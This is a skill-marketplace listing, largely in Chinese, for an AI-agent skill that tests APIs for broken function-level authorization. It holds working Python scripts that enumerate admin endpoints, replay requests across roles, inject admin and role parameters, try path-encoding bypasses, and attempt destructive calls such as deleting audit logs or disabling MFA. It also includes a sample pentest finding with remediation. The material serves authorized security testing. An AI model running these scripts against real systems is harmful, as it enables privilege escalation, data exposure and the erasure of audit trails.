mcpField
E
exploiting-broken-function-level-authorization

exploiting-broken-function-level-authorization

github.com/mukul975安全35.2k272 次安装8 周前更新
代码仓库

关于 exploiting-broken-function-level-authorization

面向获授权安全测试人员的 API 功能级授权测试技能,指导检查普通用户能否调用管理功能,并覆盖不同角色、HTTP 方法、参数及 API 版本。

主要功能

  1. 01发现管理 API 端点
  2. 02按用户角色测试访问权限
  3. 03测试不同 HTTP 方法
  4. 04检查参数导致的权限提升
  5. 05探测旧版及替代 API 路径

适用场景

  1. 01评估 API 垂直权限提升风险
  2. 02验证网关和中间件授权一致性
  3. 03测试不同角色的端点访问控制
  4. 04检查文档之外的管理端点

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-broken-function-level-authorization

安装后在 Claude Code 中输入/exploiting-broken-function-level-authorization确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

利用失效的功能级授权

何时使用

  • 测试普通用户是否可以通过直接访问 URL 访问管理类 API 端点
  • 评估 API 是否存在垂直权限提升,即用户可以调用超出其角色的功能
  • 评估 API 网关和中间件是否一致地执行功能级访问控制
  • 在所有 API 端点和 HTTP 方法上测试基于角色的访问控制(RBAC)实现
  • 验证 API 文档不会暴露缺少授权的管理端点路径

请勿在没有书面授权的情况下使用。BFLA 测试涉及使用未授权凭据尝试执行管理功能。

前提条件

  • 书面授权,明确指定范围内的目标 API 和管理功能
  • 多个权限级别的测试账户:普通用户、版主、管理员、超级管理员
  • 可能列出管理端点的 API 文档(OpenAPI/Swagger 规范)
  • 用于请求拦截和篡改的 Burp Suite Professional
  • 带有 requests 库的 Python 3.10+
  • 了解常见的管理端点命名惯例

工作流

第 1 步:管理端点发现
import requests
import itertools

BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}

# Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
    "/api/v1/admin",
    "/api/v1/admin/users",
    "/api/v1/admin/settings",
    "/api/v1/admin/config",
    "/api/v1/admin/logs",
    "/api/v1/admin/dashboard",
    "/api/v1/admin/reports",
    "/api/v1/admin/billing",
    "/api/v1/manage",
    "/api/v1/management",
    "/api/v1/internal",
    "/api/v1/internal/users",
    "/api/v1/system",
    "/api/v1/system/health",
    "/api/v1/console",
    "/api/v1/users/admin",
    "/api/v1/roles",
    "/api/v1/permissions",
    "/api/v1/audit",
    "/api/v1/audit/logs",
    "/api/internal/",
    "/admin/api/",
    "/management/api/",
    "/backoffice/api/",
]

# Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
    ("POST", "/api/v1/users", {"role": "admin"}),             # Create user with admin role
    ("PUT", "/api/v1/users/1/role", {"role": "admin"}),        # Change user role
    ("DELETE", "/api/v1/users/1002", None),                     # Delete another user
    ("POST", "/api/v1/settings", {"maintenance": True}),       # Modify system settings
    ("GET", "/api/v1/users?role=admin", None),                  # List admin users
    ("POST", "/api/v1/export/users", None),                     # Export user data
    ("POST", "/api/v1/users/1002/disable", None),               # Disable user account
    ("POST", "/api/v1/users/1002/reset-password", None),        # Force password reset
    ("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
    ("DELETE", "/api/v1/audit/logs", None),                     # Delete audit logs
]

# Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
    for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
        try:
            resp = requests.request(method, f"{BASE_URL}{path}",
                                  headers=regular_user_headers, timeout=5)
            if resp.status_code not in (401, 403, 404, 405):
                print(f"  [ACCESSIBLE] {method} {path} -> {resp.status_code}")
        except requests.exceptions.RequestException:
            pass
第 2 步:基于角色的功能测试
# Define roles and their expected access levels
ROLES = {
    "unauthenticated": {},
    "regular_user": {"Authorization": "Bearer <regular_token>"},
    "moderator": {"Authorization": "Bearer <moderator_token>"},
    "admin": {"Authorization": "Bearer <admin_token>"},
}

# Endpoints with expected minimum role requirement
ROLE_MATRIX = [
    # (method, endpoint, body, minimum_role)
    ("GET", "/api/v1/users/me", None, "regular_user"),
    ("GET", "/api/v1/users", None, "admin"),
    ("POST", "/api/v1/users", {"email":"[email protected]","name":"X","role":"user"}, "admin"),
    ("DELETE", "/api/v1/users/1002", None, "admin"),
    ("GET", "/api/v1/admin/settings", None, "admin"),
    ("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
    ("GET", "/api/v1/reports/financial", None, "admin"),
    ("POST", "/api/v1/users/1002/ban", None, "moderator"),
    ("GET", "/api/v1/audit/logs", None, "admin"),
    ("POST", "/api/v1/export/database", None, "admin"),
    ("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]

ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]

results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
    min_index = ROLE_HIERARCHY.index(min_role)
    for role_name, role_headers in ROLES.items():
        role_index = ROLE_HIERARCHY.index(role_name)
        if role_index < min_index:  # This role should NOT have access
            resp = requests.request(method, f"{BASE_URL}{endpoint}",
                                  headers=role_headers, json=body, timeout=5)
            if resp.status_code not in (401, 403):
                results.append({
                    "endpoint": f"{method} {endpoint}",
                    "role_used": role_name,
                    "expected_min_role": min_role,
                    "status_code": resp.status_code,
                    "vulnerable": True
                })
                print(f"  [BFLA] {role_name} accessed {method} {endpoint} (requires {min_role}) -> {resp.status_code}")

print(f"\nTotal BFLA findings: {len(results)}")
第 3 步:HTTP 方法操纵
# Test if authorization is method-dependent
def test_method_based_bfla(endpoint, authorized_method="GET"):
    """Test if authorization only applies to certain HTTP methods."""
    methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]

    print(f"\nTesting method-based BFLA on {endpoint}:")
    for method in methods:
        try:
            resp = requests.request(method, f"{BASE_URL}{endpoint}",
                                  headers=regular_user_headers,
                                  json={"test": True} if method in ("POST","PUT","PATCH") else None,
                                  timeout=5)
            status = "ACCESSIBLE" if resp.status_code not in (401, 403, 405) else "blocked"
            if status == "ACCESSIBLE":
                print(f"  [{status}] {method} {endpoint} -> {resp.status_code}")
        except requests.exceptions.RequestException:
            pass

# Admin endpoints to test
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")
第 4 步:基于参数的权限提升
# Test if adding admin parameters to regular requests enables admin functions
privilege_escalation_tests = [
    # Test 1: Add role parameter to self-update
    {
        "name": "Self role elevation via profile update",
        "method": "PUT",
        "endpoint": "/api/v1/users/me",
        "body": {"name": "Test User", "role": "admin"},
    },
    # Test 2: Add admin flag
    {
        "name": "Admin flag injection",
        "method": "PUT",
        "endpoint": "/api/v1/users/me",
        "body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
    },
    # Test 3: Modify user ID in body to target other users
    {
        "name": "User ID substitution in body",
        "method": "PUT",
        "endpoint": "/api/v1/users/me",
        "body": {"id": 1, "user_id": 1, "role": "admin"},
    },
    # Test 4: Access admin function via regular endpoint with admin params
    {
        "name": "Hidden admin parameter",
        "method": "GET",
        "endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
        "body": None,
    },
    # Test 5: Override tenant/organization
    {
        "name": "Tenant override",
        "method": "GET",
        "endpoint": "/api/v1/users",
        "body": None,
        "extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
    },
]

for test in privilege_escalation_tests:
    extra = test.get("extra_headers", {})
    resp = requests.request(
        test["method"],
        f"{BASE_URL}{test['endpoint']}",
        headers={**regular_user_headers, **extra},
        json=test["body"],
        timeout=5
    )
    if resp.status_code in (200, 201, 204):
        print(f"[BFLA] {test['name']}: {resp.status_code}")
        # Check if role actually changed
        if "role" in test.get("body", {}):
            me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
                                  headers=regular_user_headers)
            if me_resp.status_code == 200:
                current_role = me_resp.json().get("role", "unknown")
                print(f"  Current role after exploit: {current_role}")
第 5 步:用于管理访问的 API 版本和路径遍历
# Test if older or alternative API versions lack authorization
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]

print("Testing API version bypass:")
for version in api_versions:
    for path in admin_paths:
        full_path = f"/api/{version}{path}"
        resp = requests.get(f"{BASE_URL}{full_path}",
                          headers=regular_user_headers, timeout=5)
        if resp.status_code not in (401, 403, 404):
            print(f"  [BYPASS] {full_path} -> {resp.status_code}")

# Test path-based bypass techniques
bypass_paths = [
    "/api/v1/admin/users",
    "/api/v1/Admin/users",          # Case variation
    "/api/v1/ADMIN/users",
    "/api/v1/%61dmin/users",        # URL encoding
    "/api/v1/./admin/users",        # Path traversal
    "/api/v1/admin/../admin/users", # Double path
    "/api/v1/;/admin/users",        # Semicolon insertion
    "/api/v1/admin/users.json",     # Extension addition
    "/api/v1/admin/users/",         # Trailing slash
]

for path in bypass_paths:
    resp = requests.get(f"{BASE_URL}{path}",
                       headers=regular_user_headers, timeout=5)
    if resp.status_code not in (401, 403, 404):
        print(f"  [PATH BYPASS] {path} -> {resp.status_code}")

关键概念

术语定义
BFLA失效的功能级授权(OWASP API5:2023)——普通用户可以在没有适当授权检查的情况下调用管理或特权 API 功能
垂直权限提升访问仅限于更高权限级别的功能或数据,例如普通用户访问管理端点
RBAC基于角色的访问控制——一种授权模型,其中权限分配给角色,角色分配给用户
功能级授权验证已认证用户是否有权调用特定 API 功能的访问控制检查
管理端点仅供管理用户使用的 API 端点,通常用于管理用户、设置、审计日志和系统配置
强制浏览直接访问应用程序中未链接但存在于服务器上的 URL,绕过 UI 级别的访问限制

工具与系统

  • Burp Suite Professional:以管理员身份拦截请求,然后使用普通用户令牌重放,以测试功能级授权
  • OWASP ZAP:强制浏览扫描器,用于发现隐藏的管理端点并测试访问控制
  • Autorize(Burp 扩展):通过使用普通用户凭据重放管理请求来自动检测 BFLA
  • ffuf:端点发现工具:ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token"
  • Nuclei:基于模板的扫描器,带有针对常见框架的 BFLA 检测模板

常见场景

场景:SaaS 多租户 API BFLA 评估

背景:一个 SaaS 平台具有用户、版主和管理员角色。该 API 服务于一个 React 前端,前端会根据用户角色有条件地渲染管理员功能。后端 API 应独立执行相同的限制。

方法:

  1. 从前端 JavaScript 包中映射管理员端点:搜索 /admin/、/manage/ 以及角色检查条件
  2. 发现 12 个管理员端点,包括用户管理、计费、功能标志和审计日志
  3. 使用普通用户令牌测试每个管理员端点:
    • GET /api/v1/admin/users 返回 200 并包含所有用户数据(BFLA - 读取)
    • PUT /api/v1/admin/users/1002/role 接受角色更改(BFLA - 写入)
    • DELETE /api/v1/audit/logs 返回 200(BFLA - 破坏性)
  4. 测试基于方法的绕过:GET /api/v1/admin/settings 返回 403,但 PUT /api/v1/admin/settings 返回 200
  5. 发现版主角色可以访问所有管理员端点,但 DELETE /api/v1/admin/billing 除外
  6. 发现 /api/v2/admin/users 存在且没有任何授权(影子 API 版本)

陷阱:

  • 仅对管理员端点测试 GET 请求,而遗漏 POST/PUT/DELETE 方法中的 BFLA
  • 因管理员端点未在 UI 中链接而未发现它们(需要端点枚举)
  • 因一个管理员端点返回 403 就假设 RBAC 被一致执行
  • 遗漏 OpenAPI 规范中未列出的内部/未记录 API 端点中的 BFLA
  • 未使用所有可用角色级别进行测试(版主可能具有部分管理员访问权限)

输出格式

## Finding: Regular Users Can Access Admin User Management API

**ID**: API-BFLA-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API5:2023 - Broken Function Level Authorization
**Affected Endpoints**:
  - GET /api/v1/admin/users (read all users)
  - PUT /api/v1/admin/users/{id}/role (change user roles)
  - DELETE /api/v1/audit/logs (delete audit trail)
  - PUT /api/v1/admin/settings (modify system config)

**Description**:
The API does not enforce function-level authorization on administrative
endpoints. A regular user can directly call admin API endpoints and
execute administrative functions including user management, role changes,
system configuration, and audit log deletion. The frontend hides admin
features based on role, but the backend API does not enforce the same
restrictions.

**Proof of Concept**:
1. Authenticate as regular user: POST /api/v1/auth/login
2. Call admin endpoint: GET /api/v1/admin/users -> 200 OK (returns all 50,000 users)
3. Elevate own role: PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
4. Delete audit logs: DELETE /api/v1/audit/logs -> 204 No Content

**Impact**:
Any authenticated user can take full administrative control of the
platform, access all user data, modify roles, change system configuration,
and delete audit logs to cover their tracks.

**Remediation**:
1. Implement RBAC middleware that checks user role before executing any admin function
2. Apply authorization at the route/controller level, not just the frontend
3. Use decorator/annotation-based authorization (e.g., @RequireRole("admin"))
4. Add automated BFLA tests to the CI/CD pipeline that test every endpoint with every role
5. Implement immutable audit logging that admin users cannot delete

评论

支持 Markdown